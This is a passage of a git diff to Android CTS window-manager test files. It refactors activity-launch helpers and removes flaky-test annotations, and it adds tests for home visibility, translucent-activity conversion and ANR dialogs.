     public void testTrampolineActivityLaunch() {
         // Launch a trampoline activity that will launch single task activity.
-        getLaunchActivityBuilder()
-                .setUseInstrumentation()
-                .setTargetActivity(ENTRY_POINT_ALIAS_ACTIVITY)
-                .setWaitForLaunched(true)
-                .execute();
+        launchAndWaitForActivity(ENTRY_POINT_ALIAS_ACTIVITY);
         final LogMaker metricsLog = getMetricsLog(SINGLE_TASK_ACTIVITY, APP_TRANSITION);
         final long postUptimeMs = SystemClock.uptimeMillis();
         assertMetricsLogs(SINGLE_TASK_ACTIVITY, APP_TRANSITION, metricsLog, mPreUptimeMs,
                         postUptimeMs);
     }
 
+    private void launchAndWaitForActivity(ComponentName activity) {
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setTargetActivity(activity)
+                .setWaitForLaunched(true)
+                .execute();
+    }
+
     private LogMaker getMetricsLog(ComponentName componentName, int category) {
         final Queue<LogMaker> startLogs = MetricsAsserts.findMatchingLogs(mMetricsReader,
                 new LogMaker(category));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityViewTest.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityViewTest.java
index c2deb24..a7c37be 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityViewTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityViewTest.java
@@ -24,7 +24,7 @@
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 
-import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
@@ -75,6 +75,7 @@
  *      atest CtsWindowManagerDeviceTestCases:ActivityViewTest
  */
 @Presubmit
+@android.server.wm.annotation.Group3
 public class ActivityViewTest extends ActivityManagerTestBase {
     private static final long IME_EVENT_TIMEOUT = TimeUnit.SECONDS.toMillis(10);
 
@@ -128,18 +129,16 @@
                 boundsMatched);
     }
 
+    /** @return {@code true} if the display size for the activity matches the given size. */
     private boolean checkDisplaySize(ComponentName activity, int requestedWidth,
             int requestedHeight) {
-        final int maxTries = 5;
-        final int retryIntervalMs = 1000;
-
-        boolean boundsMatched = false;
-
         // Display size for the activity may not get updated right away. Retry in case.
-        for (int i = 0; i < maxTries; i++) {
-            mAmWmState.getWmState().computeState();
-            int displayId = mAmWmState.getAmState().getDisplayByActivity(activity);
-            WindowManagerState.Display display = mAmWmState.getWmState().getDisplay(displayId);
+        return Condition.waitFor("display size=" + requestedWidth + "x" + requestedHeight, () -> {
+            final WindowManagerState wmState = mAmWmState.getWmState();
+            wmState.computeState();
+
+            final int displayId = mAmWmState.getAmState().getDisplayByActivity(activity);
+            final WindowManagerState.Display display = wmState.getDisplay(displayId);
             int avDisplayWidth = 0;
             int avDisplayHeight = 0;
             if (display != null) {
@@ -149,16 +148,8 @@
                     avDisplayHeight = bounds.height();
                 }
             }
-            boundsMatched = avDisplayWidth == requestedWidth && avDisplayHeight == requestedHeight;
-            if (boundsMatched) {
-                return true;
-            }
-
-            // wait and try again
-            SystemClock.sleep(retryIntervalMs);
-        }
-
-        return boundsMatched;
+            return avDisplayWidth == requestedWidth && avDisplayHeight == requestedHeight;
+        });
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
index 523e660..226f48a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java
@@ -17,14 +17,18 @@
 package android.server.wm;
 
 import static android.app.ActivityTaskManager.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.content.Intent.ACTION_MAIN;
+import static android.content.Intent.CATEGORY_HOME;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_TASK_ON_HOME;
+import static android.content.pm.PackageManager.MATCH_DEFAULT_ONLY;
 import static android.server.wm.ActivityManagerState.STATE_PAUSED;
 import static android.server.wm.ActivityManagerState.STATE_RESUMED;
 import static android.server.wm.ActivityManagerState.STATE_STOPPED;
@@ -42,25 +46,35 @@
 import static android.server.wm.app.Components.MoveTaskToBackActivity.FINISH_POINT_ON_PAUSE;
 import static android.server.wm.app.Components.MoveTaskToBackActivity.FINISH_POINT_ON_STOP;
 import static android.server.wm.app.Components.NO_HISTORY_ACTIVITY;
-import static android.server.wm.app.Components.SWIPE_REFRESH_ACTIVITY;
+import static android.server.wm.app.Components.SHOW_WHEN_LOCKED_DIALOG_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
+import static android.server.wm.app.Components.TOP_ACTIVITY;
 import static android.server.wm.app.Components.TRANSLUCENT_ACTIVITY;
+import static android.server.wm.app.Components.TRANSLUCENT_TOP_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_ATTR_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY;
 import static android.server.wm.app.Components.TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY;
+import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_FROM_TRANSLUCENT;
+import static android.server.wm.app.Components.TopActivity.ACTION_CONVERT_TO_TRANSLUCENT;
 import static android.view.Display.DEFAULT_DISPLAY;
 
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeTrue;
 
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
 import android.platform.test.annotations.Presubmit;
-
-import androidx.test.filters.FlakyTest;
+import android.server.wm.CommandSession.ActivitySession;
+import android.server.wm.CommandSession.ActivitySessionClient;
+import android.server.wm.app.Components;
 
 import org.junit.Rule;
 import org.junit.Test;
@@ -70,13 +84,13 @@
  *     atest CtsWindowManagerDeviceTestCases:ActivityVisibilityTests
  */
 @Presubmit
+@android.server.wm.annotation.Group2
 public class ActivityVisibilityTests extends ActivityManagerTestBase {
 
     @Rule
     public final DisableScreenDozeRule mDisableScreenDozeRule = new DisableScreenDozeRule();
 
     @Test
-    @FlakyTest(bugId = 110276714)
     public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
         if (!supportsPip()) {
             return;
@@ -153,6 +167,34 @@
     }
 
     @Test
+    public void testHomeVisibleOnEmptyDisplay() throws Exception {
+        if (!hasHomeScreen()) {
+            return;
+        }
+
+        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+        forceStopHome();
+
+        assertEquals(mAmWmState.getAmState().getResumedActivitiesCount(), 0);
+        assertEquals(mAmWmState.getAmState().getStackCounts() , 0);
+
+        pressHomeButton();
+
+        mAmWmState.waitForHomeActivityVisible();
+        mAmWmState.assertHomeActivityVisible(true);
+    }
+
+    private void forceStopHome() {
+        final Intent intent = new Intent(ACTION_MAIN);
+        intent.addCategory(CATEGORY_HOME);
+        final ResolveInfo resolveInfo =
+                mContext.getPackageManager().resolveActivity(intent, MATCH_DEFAULT_ONLY);
+        String KILL_APP_COMMAND = "am force-stop " + resolveInfo.activityInfo.packageName;
+
+        executeShellCommand(KILL_APP_COMMAND);
+    }
+
+    @Test
     public void testTranslucentActivityOverDockedStack() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             // Skipping test: no multi-window support
@@ -177,19 +219,34 @@
     }
 
     @Test
-    @FlakyTest(bugId = 110276714)
-    public void testTurnScreenOnActivity() throws Exception {
-        try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
-            lockScreenSession.sleepDevice();
-            launchActivity(TURN_SCREEN_ON_ACTIVITY);
-
-            mAmWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
-            assertTrue("Display turns on", isDisplayOn(DEFAULT_DISPLAY));
+    public void testTurnScreenOnActivity() {
+        try (final LockScreenSession lockScreenSession = new LockScreenSession();
+             final ActivitySessionClient activityClient = new ActivitySessionClient(mContext)) {
+            testTurnScreenOnActivity(lockScreenSession, activityClient, true /* useWindowFlags */);
+            testTurnScreenOnActivity(lockScreenSession, activityClient, false /* useWindowFlags */);
         }
     }
 
+    private void testTurnScreenOnActivity(LockScreenSession lockScreenSession,
+            ActivitySessionClient activitySessionClient, boolean useWindowFlags) {
+        lockScreenSession.sleepDevice();
+
+        final ActivitySession activity = activitySessionClient.startActivity(
+                getLaunchActivityBuilder()
+                        .setUseInstrumentation()
+                        .setIntentExtra(extra -> extra.putBoolean(
+                                Components.TurnScreenOnActivity.EXTRA_USE_WINDOW_FLAGS,
+                                useWindowFlags))
+                        .setTargetActivity(TURN_SCREEN_ON_ACTIVITY));
+
+        mAmWmState.assertVisibility(TURN_SCREEN_ON_ACTIVITY, true);
+        assertTrue("Display turns on by " + (useWindowFlags ? "flags" : "APIs"),
+                isDisplayOn(DEFAULT_DISPLAY));
+
+        activity.finish();
+    }
+
     @Test
-    @FlakyTest(bugId = 110276714)
     public void testFinishActivityInNonFocusedStack() throws Exception {
         if (!supportsSplitScreenMultiWindow()) {
             // Skipping test: no multi-window support
@@ -235,13 +292,11 @@
     }
 
     @Test
-    @FlakyTest
     public void testFinishActivityWithMoveTaskToBackAfterPause() throws Exception {
         performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_PAUSE);
     }
 
     @Test
-    @FlakyTest
     public void testFinishActivityWithMoveTaskToBackAfterStop() throws Exception {
         performFinishActivityWithMoveTaskToBack(FINISH_POINT_ON_STOP);
     }
@@ -366,7 +421,7 @@
      * above becomes visible and does not idle.
      */
     @Test
-    public void testNoHistoryActivityFinishedResumedActivityNotIdle() throws Exception {
+    public void testNoHistoryActivityFinishedResumedActivityNotIdle() {
         if (!hasHomeScreen()) {
             return;
         }
@@ -377,8 +432,13 @@
         // Launch no history activity
         launchActivity(NO_HISTORY_ACTIVITY);
 
-        // Launch an activity with a swipe refresh layout configured to prevent idle.
-        launchActivity(SWIPE_REFRESH_ACTIVITY);
+        // Launch an activity that won't report idle.
+        getLaunchActivityBuilder()
+                .setUseInstrumentation()
+                .setIntentExtra(
+                        extra -> extra.putBoolean(Components.TestActivity.EXTRA_NO_IDLE, true))
+                .setTargetActivity(TEST_ACTIVITY)
+                .execute();
 
         pressBackButton();
         mAmWmState.waitForHomeActivityVisible();
@@ -428,7 +488,6 @@
     }
 
     @Test
-    @FlakyTest
     public void testTurnScreenOnAttrRemove() throws Exception {
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.sleepDevice();
@@ -499,7 +558,7 @@
             waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
                     "Activity launched on default display must be focused");
 
-            // Press home button
+            // Start home activity directly
             launchHomeActivity();
 
             mAmWmState.assertHomeActivityVisible(true);
@@ -544,4 +603,86 @@
                 "Activity should become STOPPED");
         mAmWmState.assertVisibility(TEST_ACTIVITY, false);
     }
+
+    @Test
+    public void testConvertTranslucentOnTranslucentActivity() {
+        try (final ActivitySessionClient activityClient = new ActivitySessionClient(mContext)) {
+            // Start CONVERT_TRANSLUCENT_DIALOG_ACTIVITY on top of LAUNCHING_ACTIVITY
+            final ActivitySession activity = activityClient.startActivity(
+                    getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TOP_ACTIVITY));
+            verifyActivityVisibilities(TRANSLUCENT_TOP_ACTIVITY, false);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+
+            activity.sendCommand(ACTION_CONVERT_FROM_TRANSLUCENT);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+
+            activity.sendCommand(ACTION_CONVERT_TO_TRANSLUCENT);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+        }
+    }
+
+    @Test
+    public void testConvertTranslucentOnNonTopTranslucentActivity() {
+        try (final ActivitySessionClient activityClient = new ActivitySessionClient(mContext)) {
+            final ActivitySession activity = activityClient.startActivity(
+                    getLaunchActivityBuilder().setTargetActivity(TRANSLUCENT_TOP_ACTIVITY));
+            getLaunchActivityBuilder().setTargetActivity(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY)
+                    .setUseInstrumentation().execute();
+            verifyActivityVisibilities(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, false);
+            verifyActivityVisibilities(TRANSLUCENT_TOP_ACTIVITY, false);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+
+            activity.sendCommand(ACTION_CONVERT_FROM_TRANSLUCENT);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+
+            activity.sendCommand(ACTION_CONVERT_TO_TRANSLUCENT);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+        }
+    }
+
+    @Test
+    public void testConvertTranslucentOnOpaqueActivity() {
+        try (final ActivitySessionClient activityClient = new ActivitySessionClient(mContext)) {
+            final ActivitySession activity = activityClient.startActivity(
+                    getLaunchActivityBuilder().setTargetActivity(TOP_ACTIVITY));
+            verifyActivityVisibilities(TOP_ACTIVITY, false);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+
+            activity.sendCommand(ACTION_CONVERT_TO_TRANSLUCENT);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+
+            activity.sendCommand(ACTION_CONVERT_FROM_TRANSLUCENT);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+        }
+    }
+
+    @Test
+    public void testConvertTranslucentOnNonTopOpaqueActivity() {
+        try (final ActivitySessionClient activityClient = new ActivitySessionClient(mContext)) {
+            final ActivitySession activity = activityClient.startActivity(
+                    getLaunchActivityBuilder().setTargetActivity(TOP_ACTIVITY));
+            getLaunchActivityBuilder().setTargetActivity(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY)
+                    .setUseInstrumentation().execute();
+            verifyActivityVisibilities(SHOW_WHEN_LOCKED_DIALOG_ACTIVITY, false);
+            verifyActivityVisibilities(TOP_ACTIVITY, false);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+
+            activity.sendCommand(ACTION_CONVERT_TO_TRANSLUCENT);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, false);
+
+            activity.sendCommand(ACTION_CONVERT_FROM_TRANSLUCENT);
+            verifyActivityVisibilities(LAUNCHING_ACTIVITY, true);
+        }
+    }
+
+    private void verifyActivityVisibilities(ComponentName activityBehind,
+            boolean behindFullScreen) {
+        if (behindFullScreen) {
+            mAmWmState.waitForActivityState(activityBehind, STATE_STOPPED);
+            mAmWmState.assertVisibility(activityBehind, false);
+        } else {
+            mAmWmState.waitForValidState(activityBehind);
+            mAmWmState.assertVisibility(activityBehind, true);
+        }
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
index 10c6fc8..324398b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsAppOpsTests.java
@@ -91,10 +91,11 @@
         final AlertWindowsAppOpsTestsActivity activity = mActivityRule.getActivity();
 
         // Start watching for app op
-        appOpsManager.startWatchingActive(new int[] {OP_SYSTEM_ALERT_WINDOW}, listener);
+        appOpsManager.startWatchingActive(new String[] { OPSTR_SYSTEM_ALERT_WINDOW },
+                getInstrumentation().getContext().getMainExecutor(), listener);
 
         // Assert the app op is not started
-        assertFalse(appOpsManager.isOperationActive(OP_SYSTEM_ALERT_WINDOW, uid, packageName));
+        assertFalse(appOpsManager.isOpActive(OPSTR_SYSTEM_ALERT_WINDOW, uid, packageName));
 
 
         // Show a system alert window.
@@ -102,11 +103,11 @@
 
         // The app op should start
         verify(listener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
-                .only()).onOpActiveChanged(eq(OP_SYSTEM_ALERT_WINDOW),
+                .only()).onOpActiveChanged(eq(OPSTR_SYSTEM_ALERT_WINDOW),
                 eq(uid), eq(packageName), eq(true));
 
         // The app op should be reported as started
-        assertTrue(appOpsManager.isOperationActive(OP_SYSTEM_ALERT_WINDOW,
+        assertTrue(appOpsManager.isOpActive(OPSTR_SYSTEM_ALERT_WINDOW,
                 uid, packageName));
 
 
@@ -118,11 +119,11 @@
 
         // The app op should finish
         verify(listener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS)
-                .only()).onOpActiveChanged(eq(OP_SYSTEM_ALERT_WINDOW),
+                .only()).onOpActiveChanged(eq(OPSTR_SYSTEM_ALERT_WINDOW),
                 eq(uid), eq(packageName), eq(false));
 
         // The app op should be reported as finished
-        assertFalse(appOpsManager.isOperationActive(OP_SYSTEM_ALERT_WINDOW, uid, packageName));
+        assertFalse(appOpsManager.isOpActive(OPSTR_SYSTEM_ALERT_WINDOW, uid, packageName));
 
 
         // Start with a clean slate
@@ -136,10 +137,10 @@
 
         // No other callbacks expected
         verify(listener, timeout(APP_OP_CHANGE_TIMEOUT_MILLIS).times(0))
-                .onOpActiveChanged(eq(OP_SYSTEM_ALERT_WINDOW),
+                .onOpActiveChanged(eq(OPSTR_SYSTEM_ALERT_WINDOW),
                         anyInt(), anyString(), anyBoolean());
 
         // The app op should be reported as started
-        assertTrue(appOpsManager.isOperationActive(OP_SYSTEM_ALERT_WINDOW, uid, packageName));
+        assertTrue(appOpsManager.isOpActive(OPSTR_SYSTEM_ALERT_WINDOW, uid, packageName));
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AmProfileTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AmProfileTests.java
index d08c9d2..24d2daa 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AmProfileTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AmProfileTests.java
@@ -107,7 +107,7 @@
         executeShellCommand(
                 getStartCmd(PROFILEABLE_APP_ACTIVITY, startActivityFirst, sampling, streaming));
         // Go to home screen and then warm start the activity to generate some interesting trace.
-        pressHomeButton();
+        launchHomeActivity();
         launchActivity(PROFILEABLE_APP_ACTIVITY);
 
         executeShellCommand(getStopProfileCmd(PROFILEABLE_APP_ACTIVITY));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
index 839371f..fb39c49 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AmStartOptionsTests.java
@@ -20,7 +20,6 @@
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_SINGLE_TOP;
 import static android.server.wm.ComponentNameUtils.getActivityName;
-import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.app.Components.ENTRY_POINT_ALIAS_ACTIVITY;
 import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
 import static android.server.wm.app.Components.SINGLE_TASK_ACTIVITY;
@@ -34,8 +33,6 @@
 import android.content.ComponentName;
 import android.platform.test.annotations.Presubmit;
 
-import androidx.test.filters.FlakyTest;
-
 import org.junit.Test;
 
 /**
@@ -70,7 +67,6 @@
     }
 
     @Test
-    @FlakyTest
     public void testDashW_Indirect() throws Exception {
         testDashW(ENTRY_POINT_ALIAS_ACTIVITY, SINGLE_TASK_ACTIVITY);
     }
@@ -82,7 +78,7 @@
                 .setTargetActivity(TEST_ACTIVITY).execute();
 
         // Return to home
-        pressHomeButton();
+        launchHomeActivity();
 
         // Start LaunchingActivity again and finish TestActivity
         final int flags =
@@ -99,7 +95,7 @@
         startActivityAndVerifyResult(entryActivity, actualActivity, true);
 
         // Test warm start
-        pressHomeButton();
+        launchHomeActivity();
         startActivityAndVerifyResult(entryActivity, actualActivity, false);
 
         // Test "hot" start (app already in front)
@@ -120,4 +116,4 @@
         waitAndAssertTopResumedActivity(actualActivity, DEFAULT_DISPLAY,
                 "Activity must be launched");
     }
-}
\ No newline at end of file
+}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java
deleted file mode 100644
index 2126f83..0000000
--- a/tests/framework/base/windowmanager/src/android/server/wm/AnimationBackgroundTests.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.wm;
-
-import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
-import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
-import static android.server.wm.app.Components.ANIMATION_TEST_ACTIVITY;
-import static android.server.wm.app.Components.LAUNCHING_ACTIVITY;
-import static android.view.Display.DEFAULT_DISPLAY;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeFalse;
-
-import android.content.ComponentName;
-import android.platform.test.annotations.Presubmit;
-import android.server.wm.WindowManagerState.Display;
-
-import org.junit.Test;
-
-/**
- * Build/Install/Run:
- *     atest CtsWindowManagerDeviceTestCases:AnimationBackgroundTests
- */
-@Presubmit
-public class AnimationBackgroundTests extends ActivityManagerTestBase {
-
-    @Test
-    public void testAnimationBackground_duringAnimation() throws Exception {
-        launchActivityOnDisplay(LAUNCHING_ACTIVITY, DEFAULT_DISPLAY);
-        getLaunchActivityBuilder()
-                .setTargetActivity(ANIMATION_TEST_ACTIVITY)
-                .setWaitForLaunched(false)
-                .execute();
-
-        // Make sure we're testing an activity that runs on fullscreen display. This animation API
-        // doesn't make much sense in freeform displays.
-        assumeActivityNotInFreeformDisplay(ANIMATION_TEST_ACTIVITY);
-
-        // Make sure we are in the middle of the animation.
-        mAmWmState.waitForWithWmState(state -> state
-                .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
-                        .isWindowAnimationBackgroundSurfaceShowing(),
-                "***Waiting for animation background showing");
-
-        assertTrue("window animation background needs to be showing", mAmWmState.getWmState()
-                .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
-                .isWindowAnimationBackgroundSurfaceShowing());
-    }
-
-    @Test
-    public void testAnimationBackground_gone() throws Exception {
-        launchActivityOnDisplay(LAUNCHING_ACTIVITY, DEFAULT_DISPLAY);
-        getLaunchActivityBuilder().setTargetActivity(ANIMATION_TEST_ACTIVITY).execute();
-        mAmWmState.computeState(ANIMATION_TEST_ACTIVITY);
-        mAmWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
-
-        // Make sure we're testing an activity that runs on fullscreen display. This animation API
-        // doesn't make much sense in freeform displays.
-        assumeActivityNotInFreeformDisplay(ANIMATION_TEST_ACTIVITY);
-
-        assertFalse("window animation background needs to be gone", mAmWmState.getWmState()
-                .getStandardStackByWindowingMode(WINDOWING_MODE_FULLSCREEN)
-                .isWindowAnimationBackgroundSurfaceShowing());
-    }
-
-    private void assumeActivityNotInFreeformDisplay(ComponentName activity) throws Exception {
-        mAmWmState.waitForValidState(activity);
-        final int displayId = mAmWmState.getAmState().getDisplayByActivity(activity);
-        final Display display = mAmWmState.getWmState().getDisplay(displayId);
-        assumeFalse("Animation test activity is in freeform display. It may not run "
-                + "cross-task animations.", display.getWindowingMode() == WINDOWING_MODE_FREEFORM);
-    }
-}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
new file mode 100644
index 0000000..ec5456e
--- /dev/null
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AnrTests.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm;
+
+import static android.server.wm.app.Components.UNRESPONSIVE_ACTIVITY;
+import static android.server.wm.app.Components.UnresponsiveActivity;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_DELAY_UI_THREAD_MS;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_CREATE_DELAY_MS;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_KEYDOWN_DELAY_MS;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
+import static android.view.Display.DEFAULT_DISPLAY;
+
+import static org.junit.Assert.fail;
+
+import android.os.SystemClock;
+import android.platform.test.annotations.Presubmit;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.support.test.uiautomator.Until;
+import android.util.EventLog;
+import android.util.Log;
+import android.view.KeyEvent;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+import androidx.test.filters.FlakyTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+/**
+ * Test scenarios that lead to ANR dialog being shown.
+ *
+ * <p>Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:AnrTests
+ */
+@Presubmit
+@FlakyTest(bugId = 143047723)
+@android.server.wm.annotation.Group3
+public class AnrTests extends ActivityManagerTestBase {
+    private static final String TAG = "AnrTests";
+    private LogSeparator mLogSeparator;
+
+    @Before
+    public void setup() throws Exception {
+        super.setUp();
+        mLogSeparator = separateLogs(); // add a new separator for logs
+    }
+
+
+    @After
+    public void teardown() throws Exception {
+        stopTestPackage(UNRESPONSIVE_ACTIVITY.getPackageName());
+        super.tearDown();
+    }
+
+    @Test
+    public void slowOnCreateWithKeyEventTriggersAnr() {
+        startUnresponsiveActivity(EXTRA_ON_CREATE_DELAY_MS, false /* waitForCompletion */);
+        // wait for app to be focused
+        mAmWmState.waitAndAssertAppFocus(UNRESPONSIVE_ACTIVITY.getPackageName(),
+                2000 /* waitTime_ms */);
+        // wait for input manager to get the new focus app. This sleep can be removed once we start
+        // listing to input about the focused app.
+        SystemClock.sleep(500);
+        injectKey(KeyEvent.KEYCODE_BACK, false /* longpress */, false /* sync */);
+        clickCloseAppOnAnrDialog();
+        assertEventLogsContainsAnr(UnresponsiveActivity.PROCESS_NAME);
+    }
+
+    @Test
+    public void slowUiThreadWithKeyEventTriggersAnr() {
+        startUnresponsiveActivity(EXTRA_DELAY_UI_THREAD_MS, true /* waitForCompletion */);
+        injectKey(KeyEvent.KEYCODE_BACK, false /* longpress */, false /* sync */);
+        clickCloseAppOnAnrDialog();
+        assertEventLogsContainsAnr(UnresponsiveActivity.PROCESS_NAME);
+    }
+
+    @Test
+    public void slowOnKeyEventHandleTriggersAnr() {
+        startUnresponsiveActivity(EXTRA_ON_KEYDOWN_DELAY_MS, true /* waitForCompletion */);
+        injectKey(KeyEvent.KEYCODE_BACK, false /* longpress */, false /* sync */);
+        clickCloseAppOnAnrDialog();
+        assertEventLogsContainsAnr(UnresponsiveActivity.PROCESS_NAME);
+    }
+
+    @Test
+    public void slowOnTouchEventHandleTriggersAnr() {
+        startUnresponsiveActivity(EXTRA_ON_MOTIONEVENT_DELAY_MS, true /* waitForCompletion */);
+
+        // TODO(b/143566069) investigate why we need multiple taps on display to trigger anr.
+        mAmWmState.getWmState().computeState();
+        tapOnDisplayCenterAsync(DEFAULT_DISPLAY);
+        SystemClock.sleep(1000);
+        tapOnDisplayCenterAsync(DEFAULT_DISPLAY);
+
+        clickCloseAppOnAnrDialog();
+        assertEventLogsContainsAnr(UnresponsiveActivity.PROCESS_NAME);
+    }
+
+    private void assertEventLogsContainsAnr(String processName) {
+        final List<EventLog.Event> events = getEventLogsForComponents(mLogSeparator,
+                android.util.EventLog.getTagCode("am_anr"));
+        for (EventLog.Event event : events) {
+            Object[] arr = (Object[]) event.getData();
+            final String name = (String) arr[2];
+            if (name.equals(processName)) {
+                return;
+            }
+        }
+        fail("Could not find anr kill event for " + processName);
+    }
+
